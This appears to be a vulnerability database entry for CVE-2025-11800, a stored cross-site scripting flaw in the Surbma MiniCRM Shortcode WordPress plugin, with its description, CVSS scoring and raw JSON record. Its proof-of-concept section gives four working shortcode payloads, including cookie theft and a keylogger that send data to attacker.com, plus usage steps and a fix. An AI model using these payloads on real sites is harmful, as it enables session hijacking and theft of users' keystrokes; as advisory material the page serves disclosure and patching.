Security Vulnerability Report
中文
CVE-2025-11800 CVSS 6.4 MEDIUM

CVE-2025-11800

Published: 2025-11-21 08:15:51
Last Modified: 2026-04-15 00:35:42

Description

The Surbma | MiniCRM Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the 'minicrm' shortcode in all versions up to, and including, 2.0. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Surbma | MiniCRM Shortcode plugin <= 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11800 PoC - Stored XSS via minicrm shortcode 'id' attribute --> <!-- Description: Authenticated contributors+ can inject arbitrary JavaScript through the 'id' attribute of the [minicrm] shortcode --> <!-- PoC 1: Basic XSS injection --> [minicrm id='"><script>alert('XSS')</script>'] <!-- PoC 2: Cookie stealing payload --> [minicrm id='"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>'] <!-- PoC 3: Session hijacking with img tag --> [minicrm id='"><img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)">'] <!-- PoC 4: DOM-based keylogger --> [minicrm id='"><script>document.addEventListener('keypress',function(e){new Image().src='https://attacker.com/klog?k='+e.key})</script>'] <!-- Usage: 1. Login to WordPress with contributor+ account 2. Create/Edit a post or page 3. Insert one of the above shortcodes in the content 4. Publish or update the post 5. When any user visits the page, the XSS payload will execute --> <!-- Recommended fix: Add proper escaping in plugin code --> <!-- Example fix for surbma-minicrm-shortcode.php line ~34: Replace: echo '<div id="' . $id . '" class="surbma-minicrm">'; With: echo '<div id="' . esc_attr($id) . '" class="surbma-minicrm">'; -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11800", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:51.027", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Surbma | MiniCRM Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the 'minicrm' shortcode in all versions up to, and including, 2.0. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/surbma-minicrm-shortcode/tags/2.0/surbma-minicrm-shortcode.php#L34", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f7509053-fc70-420a-b998-b7158732c147?source=cve", "source": "[email protected]"}]}}